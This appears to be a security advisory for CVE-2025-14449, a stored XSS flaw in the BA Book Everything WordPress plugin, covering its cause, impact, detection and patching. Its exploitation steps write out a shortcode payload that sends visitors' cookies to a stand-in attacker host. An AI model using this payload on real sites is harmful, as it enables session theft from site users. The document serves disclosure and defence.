CVE-2025-14449: 
WordPress vulnerability analysis and mitigation

CVE-2025-14449 is a Stored Cross-Site Scripting (XSS) vulnerability in the BA Book Everything plugin for WordPress, affecting all versions up to and including 1.8.14. The flaw exists in the plugin's babe-search-form shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 19, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Authenticated attackers with contributor-level access or above can inject arbitrary JavaScript via shortcode attributes in the babe-search-form shortcode. Because the malicious script is stored server-side and rendered to any user who visits the affected page, this is a persistent (stored) XSS attack vector. A patch was committed to the plugin's repository as changeset 3418011 (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to inject persistent malicious scripts into WordPress pages, which execute in the browsers of any user who visits those pages. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The CVSS scope is marked as Changed, indicating that the impact extends beyond the vulnerable component to affect end users' browsers (Wordfence).

Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running BA Book Everything ≤ 1.8.14.
2. Create or Edit a Page/Post: Navigate to the WordPress editor and insert the babe-search-form shortcode with a malicious attribute payload, e.g., [babe-search-form attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
3. Publish the Content: Save and publish the page or post containing the injected shortcode.
4. Trigger Execution: When any user (including administrators) visits the page, the stored XSS payload executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing babe-search-form shortcode with unusual attribute values including <script> tags or encoded JavaScript.
• File System: Unexpected modifications to published posts or pages in the WordPress database (wp_posts table) containing obfuscated or encoded script tags within shortcode attributes.
• Network: Outbound requests from user browsers to unknown external domains shortly after visiting pages containing the babe-search-form shortcode, potentially indicating cookie exfiltration.

Users should update the BA Book Everything plugin to version 1.8.15 or later, which includes the fix committed in changeset 3418011. As an interim measure, site administrators can restrict contributor-level user permissions or disable the plugin until patching is feasible. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional protection (Wordfence, WordPress Trac).

Wordfence included this vulnerability in their weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, noting it as part of a broader set of plugin vulnerabilities disclosed during that period (Wordfence Blog). The vulnerability received standard automated coverage across CVE aggregation platforms with no notable researcher commentary or significant community discussion beyond routine disclosure.